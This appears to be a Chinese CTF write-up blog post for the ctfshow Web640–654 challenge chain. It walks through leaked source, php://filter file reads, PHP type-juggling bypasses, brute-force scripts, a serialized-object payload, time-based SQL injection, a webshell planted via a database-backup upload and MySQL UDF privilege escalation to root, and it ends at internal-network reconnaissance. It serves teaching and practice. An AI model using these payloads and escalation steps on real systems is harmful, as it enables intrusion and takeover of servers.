ctfshow终极考核

信息收集

这个环境就只涉及目录扫描了

[18:04:02] 200 -   43B  - /.bowerrc
[18:04:03] 200 -   34B  - /.gitignore
[18:04:04] 200 -    2KB - /.travis.yml
[18:04:24] 200 -    3KB - /page.php
[18:04:28] 200 -   19B  - /robots.txt

/robots.txt得到source.txt
访问发现是某个php文件的源码

include 'init.php';

function addUser($data,$username,$password){
	$ret = array(
		'code'=>0,
		'message'=>'添加成功'
	);
	if(existsUser($data,$username)==0){
		$s = $data.$username.'@'.$password.'|';
		file_put_contents(DB_PATH, $s);

	}else{
		$ret['code']=-1;
		$ret['message']='用户已存在';
	}

	return json_encode($ret);
}

function updateUser($data,$username,$password){
	$ret = array(
		'code'=>0,
		'message'=>'更新成功'
	);
	if(existsUser($data,$username)>0 && $username!='admin'){
		$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', $username.'@'.$password.'|', $data);
		file_put_contents(DB_PATH, $s);

	}else{
		$ret['code']=-1;
		$ret['message']='用户不存在或无权更新';
	}

	return json_encode($ret);
}

function delUser($data,$username){
	$ret = array(
		'code'=>0,
		'message'=>'删除成功'
	);
	if(existsUser($data,$username)>0 && $username!='admin'){
		$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', '', $data);
		file_put_contents(DB_PATH, $s);

	}else{
		$ret['code']=-1;
		$ret['message']='用户不存在或无权删除';
	}

	return json_encode($ret);

}

function existsUser($data,$username){
	return preg_match('/'.$username.'@[0-9a-zA-Z]+\|/', $data);
}

function initCache(){
	return file_exists('cache.php')?:file_put_contents('cache.php','<!-- ctfshow-web-cache -->');
}

function clearCache(){
	shell_exec('rm -rf cache.php');
	return 'ok';
}

function flushCache(){
	if(file_exists('cache.php') && file_get_contents('cache.php')===false){
		return FLAG646;
	}else{
		return '';
	}
}

function netTest($cmd){
	$ret = array(
		'code'=>0,
		'message'=>'命令执行失败'
	);

	if(preg_match('/ping ((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}/', $cmd)){
		$res = shell_exec($cmd);
		stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
		
	}
	if(preg_match('/^[A-Za-z]+$/', $cmd)){
		$res = shell_exec($cmd);
		stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
	}
	
	return json_encode($ret);
}

Web640

访问就可以拿到

Web641

favicon.ico/admin/等等返回的响应头可以拿到

Web642

image
image
泄露了后台地址
image

Web643

/system36d/login.php
可以看到登录页面,抓包发现与后端没有交互,应该是在js里面
image
找到Web644的flag和一个地址,s控制登录的uid,访问之后跳转到后台首页,发现是普通用户,尝试一下能不能爆破出管理员的uid

from requests import *
from bs4 import BeautifulSoup
for i in range(0,100):
    m=get(f"http://1fac82d3-c655-46d1-bd1e-b61bdb51910e.challenge.ctf.show/system36d/checklogin.php?s={i}",allow_redirects=True)
    html=BeautifulSoup(m.text,"lxml")
    if html.find("title") is not None:
        print(i,"success")

image
两个普通用户,貌似没什么卵用,找到一个可以执行命令的点
image
执行以下find,列出所有文件

.
./secret.txt
./static
./static/layui_
./static/layui_/lay
./static/layui_/lay/modules
./static/layui_/lay/modules/form.js
./static/layui_/lay/modules/colorpicker.js
./static/layui_/lay/modules/jquery.js
./static/layui_/lay/modules/layedit.js
./static/layui_/lay/modules/transfer.js
./static/layui_/lay/modules/laytpl.js
./static/layui_/lay/modules/flow.js
./static/layui_/lay/modules/table.js
./static/layui_/lay/modules/util.js
./static/layui_/lay/modules/upload.js
./static/layui_/lay/modules/code.js
./static/layui_/lay/modules/laypage.js
./static/layui_/lay/modules/mobile.js
./static/layui_/lay/modules/element.js
./static/layui_/lay/modules/laydate.js
./static/layui_/lay/modules/tree.js
./static/layui_/lay/modules/rate.js
./static/layui_/lay/modules/layer.js
./static/layui_/lay/modules/slider.js
./static/layui_/lay/modules/carousel.js
./static/layui_/layui.js
./static/layui_/css
./static/layui_/css/layui.mobile.css
./static/layui_/css/layui.css
./static/layui_/css/modules
./static/layui_/css/modules/layer
./static/layui_/css/modules/layer/default
./static/layui_/css/modules/layer/default/layer.css
./static/layui_/css/modules/layer/default/loading-0.gif
./static/layui_/css/modules/layer/default/icon-ext.png
./static/layui_/css/modules/layer/default/loading-1.gif
./static/layui_/css/modules/layer/default/loading-2.gif
./static/layui_/css/modules/layer/default/icon.png
./static/layui_/css/modules/code.css
./static/layui_/css/modules/laydate
./static/layui_/css/modules/laydate/default
./static/layui_/css/modules/laydate/default/laydate.css
./static/layui_/font
./static/layui_/font/iconfont.svg
./static/layui_/font/iconfont.eot
./static/layui_/font/iconfont.woff
./static/layui_/font/iconfont.woff2
./static/layui_/font/iconfont.ttf
./static/layui_/layui.all.js
./static/layui_/images
./static/layui_/images/face
./static/layui_/images/face/32.gif
./static/layui_/images/face/59.gif
./static/layui_/images/face/66.gif
./static/layui_/images/face/35.gif
./static/layui_/images/face/40.gif
./static/layui_/images/face/53.gif
./static/layui_/images/face/0.gif
./static/layui_/images/face/51.gif
./static/layui_/images/face/55.gif
./static/layui_/images/face/38.gif
./static/layui_/images/face/42.gif
./static/layui_/images/face/69.gif
./static/layui_/images/face/71.gif
./static/layui_/images/face/7.gif
./static/layui_/images/face/45.gif
./static/layui_/images/face/58.gif
./static/layui_/images/face/25.gif
./static/layui_/images/face/34.gif
./static/layui_/images/face/11.gif
./static/layui_/images/face/5.gif
./static/layui_/images/face/24.gif
./static/layui_/images/face/48.gif
./static/layui_/images/face/47.gif
./static/layui_/images/face/39.gif
./static/layui_/images/face/6.gif
./static/layui_/images/face/57.gif
./static/layui_/images/face/65.gif
./static/layui_/images/face/50.gif
./static/layui_/images/face/3.gif
./static/layui_/images/face/63.gif
./static/layui_/images/face/17.gif
./static/layui_/images/face/68.gif
./static/layui_/images/face/23.gif
./static/layui_/images/face/60.gif
./static/layui_/images/face/26.gif
./static/layui_/images/face/13.gif
./static/layui_/images/face/36.gif
./static/layui_/images/face/16.gif
./static/layui_/images/face/41.gif
./static/layui_/images/face/18.gif
./static/layui_/images/face/15.gif
./static/layui_/images/face/12.gif
./static/layui_/images/face/54.gif
./static/layui_/images/face/27.gif
./static/layui_/images/face/20.gif
./static/layui_/images/face/8.gif
./static/layui_/images/face/52.gif
./static/layui_/images/face/30.gif
./static/layui_/images/face/29.gif
./static/layui_/images/face/37.gif
./static/layui_/images/face/1.gif
./static/layui_/images/face/46.gif
./static/layui_/images/face/14.gif
./static/layui_/images/face/43.gif
./static/layui_/images/face/61.gif
./static/layui_/images/face/4.gif
./static/layui_/images/face/33.gif
./static/layui_/images/face/64.gif
./static/layui_/images/face/70.gif
./static/layui_/images/face/62.gif
./static/layui_/images/face/19.gif
./static/layui_/images/face/21.gif
./static/layui_/images/face/31.gif
./static/layui_/images/face/10.gif
./static/layui_/images/face/9.gif
./static/layui_/images/face/67.gif
./static/layui_/images/face/22.gif
./static/layui_/images/face/44.gif
./static/layui_/images/face/49.gif
./static/layui_/images/face/28.gif
./static/layui_/images/face/2.gif
./static/layui_/images/face/56.gif
./static/layui
./static/layui/layui.js
./static/layui/css
./static/layui/css/layui.css
./static/layui/css/modules
./static/layui/css/modules/layer
./static/layui/css/modules/layer/default
./static/layui/css/modules/layer/default/layer.css
./static/layui/css/modules/layer/default/loading-0.gif
./static/layui/css/modules/layer/default/icon-ext.png
./static/layui/css/modules/layer/default/loading-1.gif
./static/layui/css/modules/layer/default/loading-2.gif
./static/layui/css/modules/layer/default/icon.png
./static/layui/css/modules/code.css
./static/layui/css/modules/laydate
./static/layui/css/modules/laydate/default
./static/layui/css/modules/laydate/default/laydate.css
./static/layui/font
./static/layui/font/iconfont.svg
./static/layui/font/iconfont.eot
./static/layui/font/iconfont.woff
./static/layui/font/iconfont.woff2
./static/layui/font/iconfont.ttf
./static/js
./static/js/jquery.cookie.min.js
./static/js/jquery.contextmenu.r2.js
./static/js/jquery-3.2.1.min.js
./static/js/main.js
./static/js/lock
./static/js/lock/flickity.pkgd.js
./static/js/lock/index.js
./static/js/lock/howler.js
./static/js/base64.js
./static/css
./static/css/login.css
./static/css/start.css
./static/css/style.css
./static/css/lock
./static/css/lock/flickity.css
./static/css/lock/reset.min.css
./static/css/lock/style.css
./static/img
./static/img/avatar
./static/img/avatar/avatar.jpg
./util
./util/common.php
./util/auth.php
./util/dbutil.php
./main.php
./update2.php
./login.php
./update.php
./db
./db/data_you_never_know.db
./index.php
./users.php
./init.php
./checklogin.php
./logout.php

secret.txt获得flag

Web644

system36d/static/js/lock/index.js
image

Web645

./db/data_you_never_know.db下载出来
image
拿到flag

Web646

image
看到这里基本可以想到,之前拿到的source.txt,users.php调用的就是那里面的函数
命令执行的限制比较死,应该不太容易getshell,找一下别的点
远程更新那里,可以访问url,但是不出网,猜测是file_get_contents
/system36d/users.php?action=remoteUpdate&auth=ctfshow%7B28b00f799c2e059bafaa1d6bda138d89%7D&update_address=php://filter/read=convert.base64-encode/resource=users.php
读取到users.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-07-26 10:25:59
# @Last Modified by:   h1xa
# @Last Modified time: 2021-08-01 01:52:58
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();
include 'init.php';

$a=$_GET['action'];


$data = file_get_contents(DB_PATH);
$ret = '';
switch ($a) {
	case 'list':
		$ret = getUsers($data,intval($_GET['page']),intval($_GET['limit']));
		break;
	case 'add':
		$ret = addUser($data,$_GET['username'],$_GET['password']);
		break;
	case 'del':
		$ret = delUser($data,$_GET['username']);
		break;
	case 'update':
		$ret = updateUser($data,$_GET['username'],$_GET['password']);
		break;
	case 'backup':
		backupUsers();
		break;
	case 'upload':
		$ret = recoveryUsers();
		break;
	case 'phpInfo':
		$ret = phpInfoTest();
		break;
	case 'netTest':
		$ret = netTest($_GET['cmd']);
		break;
	case 'remoteUpdate':
		$ret = remoteUpdate($_GET['auth'],$_GET['update_address']);
		break;
	case 'authKeyValidate':
		$ret = authKeyValidate($_GET['auth']);
		break;
	case 'evilString':
		evilString($_GET['m']);
		break;
	case 'evilNumber':
		evilNumber($_GET['m'],$_GET['key']);
		break;
	case 'evilFunction':
		evilFunction($_GET['m'],$_GET['key']);
		break;
	case 'evilArray':
		evilArray($_GET['m'],$_GET['key']);
		break;
	case 'evilClass':
		evilClass($_GET['m'],$_GET['key']);
		break;
	default:
		$ret = json_encode(array(
		'code'=>0,
		'message'=>'数据获取失败',
		));
		break;
}

echo $ret;



function getUsers($data,$page=1,$limit=10){
	$ret = array(
		'code'=>0,
		'message'=>'数据获取成功',
		'data'=>array()
	);

	
	$isadmin = '否';
	$pass = '';
	$content='无';

	$users = explode('|', $data);
	array_pop($users);
	$index = 1;

	foreach ($users as $u) {
		if(explode('@', $u)[0]=='admin'){
			$isadmin = '是';
			$pass = 'flag就是管理员的密码,不过我隐藏了';
			$content = '删除此条记录后flag就会消失';
		}else{
			$pass = explode('@', $u)[1];
		}
		array_push($ret['data'], array(
			'id'=>$index,
			'username'=>explode('@', $u)[0],
			'password'=>$pass,
			'isAdmin'=>$isadmin,
			'content'=>$content
		));
		$index +=1;
	}
	$ret['count']=$index;
	$start = ($page-1)*$limit;
	$ret['data']=array_slice($ret['data'], $start,$limit,true);

	return json_encode($ret);

}

function addUser($data,$username,$password){
	$ret = array(
		'code'=>0,
		'message'=>'添加成功'
	);
	if(existsUser($data,$username)==0){
		$s = $data.$username.'@'.$password.'|';
		file_put_contents(DB_PATH, $s);

	}else{
		$ret['code']=-1;
		$ret['message']='用户已存在';
	}

	return json_encode($ret);
}

function updateUser($data,$username,$password){
	$ret = array(
		'code'=>0,
		'message'=>'更新成功'
	);
	if(existsUser($data,$username)>0 && $username!='admin'){
		$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', $username.'@'.$password.'|', $data);
		file_put_contents(DB_PATH, $s);

	}else{
		$ret['code']=-1;
		$ret['message']='用户不存在或无权更新';
	}

	return json_encode($ret);
}

function delUser($data,$username){
	$ret = array(
		'code'=>0,
		'message'=>'删除成功'
	);
	if(existsUser($data,$username)>0 && $username!='admin'){
		$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', '', $data);
		file_put_contents(DB_PATH, $s);

	}else{
		$ret['code']=-1;
		$ret['message']='用户不存在或无权删除';
	}

	return json_encode($ret);

}

function existsUser($data,$username){
	return preg_match('/'.$username.'@[0-9a-zA-Z]+\|/', $data);
}

function backupUsers(){
	$file_name = DB_PATH;
	if (! file_exists ($file_name )) {    
	    header('HTTP/1.1 404 NOT FOUND');  
	} else {    
	    $file = fopen ($file_name, "rb" ); 
	    Header ( "Content-type: application/octet-stream" ); 
	    Header ( "Accept-Ranges: bytes" );  
	    Header ( "Accept-Length: " . filesize ($file_name));  
	    Header ( "Content-Disposition: attachment; filename=backup.dat");     
	    echo str_replace(FLAG645, 'flag就在这里,可惜不能给你', fread ( $file, filesize ($file_name)));    
	    fclose ( $file );    
	    exit ();    
	}
}

function getArray($total, $times, $min, $max)
    {
        $data = array();
        if ($min * $times > $total) {
            return array();
        }
        if ($max * $times < $total) {
            return array();
        }
        while ($times >= 1) {
            $times--;
            $kmix = max($min, $total - $times * $max);
            $kmax = min($max, $total - $times * $min);
            $kAvg = $total / ($times + 1);
            $kDis = min($kAvg - $kmix, $kmax - $kAvg);
            $r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2;
            $k = round($kAvg + $r);
            $total -= $k;
            $data[] = $k;
        }
        return $data;
 }


function recoveryUsers(){
	$ret = array(
		'code'=>0,
		'message'=>'恢复成功'
	);
	if(isset($_FILES['file']) && $_FILES['file']['size']<1024*1024){
		$file_name= $_FILES['file']['tmp_name'];
		$result = move_uploaded_file($file_name, DB_PATH);
		if($result===false){
			$ret['message']='数据恢复失败 file_name'.$file_name.' DB_PATH='.DB_PATH;
		}

	}else{
		$ret['message']='数据恢复失败';
	}

	return json_encode($ret);
}

function phpInfoTest(){
	return phpinfo();

}

function authKeyValidate($auth){
	$ret = array(
		'code'=>0,
		'message'=>$auth==substr(FLAG645, 8)?'验证成功':'验证失败',
		'status'=>$auth==substr(FLAG645, 8)?'0':'-1'
	);
	return json_encode($ret);
}

function remoteUpdate($auth,$address){
	$ret = array(
		'code'=>0,
		'message'=>'更新失败'
	);

	if($auth!==substr(FLAG645, 8)){
		$ret['message']='权限key验证失败';
		return json_encode($ret);
	}else{
		$content = file_get_contents($address);
		$ret['message']=($content!==false?$content:'地址不可达');
	}

	return json_encode($ret);


}

function evilString($m){
	$key = '372619038';
	$content = call_user_func($m);
	if(stripos($content, $key)!==FALSE){
		echo shell_exec('cat /FLAG/FLAG647');
	}else{
		echo 'you are not 372619038?';
	}

}

function evilClass($m,$k){
	class ctfshow{
		public $m;
		public function construct($m){
			$this->$m=$m;
		}
	}

	$ctfshow=new ctfshow($m);
	$ctfshow->$m=$m;
	if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){
		echo shell_exec('cat /FLAG/FLAG648');
	}else{
		echo 'mmmmm?';
	}

}

function evilNumber($m,$k){
	$number = getArray(1000,20,10,999);
	if($number[$m]==$m && $k==shell_exec('cat /FLAG/FLAG648')){
		echo shell_exec('cat /FLAG/FLAG649');
	}else{
		echo 'number is right?';
	}
}

function evilFunction($m,$k){
	$key = 'ffffffff';
	$content = call_user_func($m);
	if(stripos($content, $key)!==FALSE && $k==shell_exec('cat /FLAG/FLAG649')){
		echo shell_exec('cat /FLAG/FLAG650');
	}else{
		echo 'you are not ffffffff?';
	}
}

function evilArray($m,$k){
	$arrays=unserialize($m);
	if($arrays!==false){
		if(array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) &&  $k==shell_exec('cat /FLAG/FLAG650')){
			echo shell_exec('cat /FLAG/FLAG651');
		}else{
			echo 'array?';
		}
	}
}

function netTest($cmd){
	$ret = array(
		'code'=>0,
		'message'=>'命令执行失败'
	);

	if(preg_match('/^[A-Za-z]+$/', $cmd)){
		$res = shell_exec($cmd);
		stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
	}
	
	return json_encode($ret);
}

/system36d/users.php?action=remoteUpdate&auth=ctfshow%7B28b00f799c2e059bafaa1d6bda138d89%7D&update_address=php://filter/read=convert.base64-encode/resource=init.php
读取init.php
拿到flag
image

Web647

evilString函数,利用特性null!=false,使用数组绕过,getenv函数在php7.1之后可以返回一个数组,stripos一个参数是数组时会抛出错误返回null
/system36d/users.php?action=evilString&m=getenv

Web648

function evilClass($m,$k){
	class ctfshow{
		public $m;
		public function construct($m){
			$this->$m=$m;
		}
	}

	$ctfshow=new ctfshow($m);
	$ctfshow->$m=$m;
	if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){
		echo shell_exec('cat /FLAG/FLAG648');
	}else{
		echo 'mmmmm?';
	}

}

/system36d/users.php?action=evilClass&m=1&key=flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}
拿到flag

Web649

爆破

import grequests
rList=[]
while True:
    for i in range(20):
        cookie={
            "cookie":"PHPSESSID=mpqma909njd3ocpo7j0jnfa8eg"
        }
        url="http://90a539e2-0436-4074-bf11-362586c2f003.challenge.ctf.show/system36d/users.php?action=evilNumber&m=%d&key=flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}"%i
        m=grequests.get(url,headers=cookie)
        rList.append(m)
    resp=grequests.map(rList)
    for i in resp:
        if i.text!="number is right?":
            print(i.text)
            exit(0)

image

Web650

和前面的一个一样
/system36d/users.php?action=evilFunction&m=getenv&key=flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}

Web651

找到函数

array_key_exists(string|int $key, array $array): bool
数组里有键 key 时,array_key_exists() 返回 true。 key 可以是任何能作为数组索引的值。get_object_vars(object $object): array
根据作用域获取指定 object 的可访问非静态属性。

EXP:

<?php
class a{
    public $username="ctfshow";
}
$t=new a;
echo urlencode(serialize($t));

/system36d/users.php?action=evilArray&m=O%3A1%3A%22a%22%3A1%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22ctfshow%22%3B%7D&key=flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}

这一系列的flag没了

Web652

开始读其他文件
util/common.php

<?php

include 'dbutil.php';
if($_GET['k']!==shell_exec('cat /FLAG/FLAG651')){
    die('651flag未拿到');
}
if(isset($_POST['file']) && file_exists($_POST['file'])){
    if(db::get_key()==$_POST['key']){
        include __DIR__.DIRECTORY_SEPARATOR.$_POST['file'];
    }
}

util/dbutil.php

<?php

class db{
    private static $host='localhost';
    private static $username='root';
    private static $password='root';
    private static $database='ctfshow';
    private static $conn;

    public static function get_key(){
        $ret = '';
        $conn = self::get_conn();
        $res = $conn->query('select `key` from ctfshow_keys');
        if($res){
            $row = $res->fetch_array(MYSQLI_ASSOC);
        }
        $ret = $row['key'];
        self::close();
        return $ret;
    }

    public static function get_username($id){
        $ret = '';
        $conn = self::get_conn();
        $res = $conn->query("select `username` from ctfshow_users where id = ($id)");
        if($res){
            $row = $res->fetch_array(MYSQLI_ASSOC);
        }
        $ret = $row['username'];
        self::close();
        return $ret;
    }

    private static function get_conn(){
        if(self::$conn==null){
            self::$conn = new mysqli(self::$host, self::$username, self::$password, self::$database);
        }
        return self::$conn;
    }

    private static function close(){
        if(self::$conn!==null){
            self::$conn->close();
        }
    }

}

page.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-07-25 16:22:25
# @Last Modified by:   h1xa
# @Last Modified time: 2021-07-25 16:22:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include __DIR__.DIRECTORY_SEPARATOR.'system36d/util/dbutil.php';

$id = isset($_GET['id'])?$_GET['id']:'1';

//转义' " \ 来实现防注入
$id = addslashes($id);

$name = db::get_username($id);
?>

这里有一个注入括号闭合的延时注入,sqlmap可梭
image
注入拿到flag
现在可以文件包含了
拿到key
终于到getshell了,本来想直接包含日志的,被路径限制了
备份一下数据,修改为
image
上传
image
写入自己的shell
连接上权限很低,想办法提权

Web653

根目录下secret.txt
权限很低,没办法弹shell
image

Web654

image
suid提不了
image
image
可以看到mysql是特权用户
可以尝试一下udf提权
image
64位系统
navicat http隧道链接数据库

mysql> show global variables like "%secure%";
+------------------+--------+
| Variable_name    | Value  |
+------------------+--------+
| secure_auth      | ON     |
| secure_file_priv | /root/ |
| secure_timestamp | NO     |
+------------------+--------+
mysql> select@@plugin_dir;
+--------------------------+
| @@plugin_dir             |
+--------------------------+
| /usr/lib/mariadb/plugin/ |
+--------------------------+

根据查到的资料来说这里应该不能提权,还是试试吧

python cloak.py -d -i "D:\Tools\sqlmap-1.6\data\udf\mysql\linux\64\lib_mysqludf_sys.so_"

解码so文件
上传到/usr/lib/mariadb/plugin/
image

create function sys_eval returns string soname 'udf.so';
select sys_eval('sudo whoami');

image
root权限
开始扫内网

eth0      Link encap:Ethernet  HWaddr 02:42:AC:02:E6:04
          inet addr:172.2.230.4  Bcast:172.2.230.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1450  Metric:1
          RX packets:1201 errors:0 dropped:0 overruns:0 frame:0
          TX packets:898 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:444464 (434.0 KiB)  TX bytes:2312129 (2.2 MiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:1948 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1948 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:748564 (731.0 KiB)  TX bytes:748564 (731.0 KiB)
posted @ 2023-05-24 19:52  V3g3t4ble  阅读(627)  评论(0编辑  收藏  举报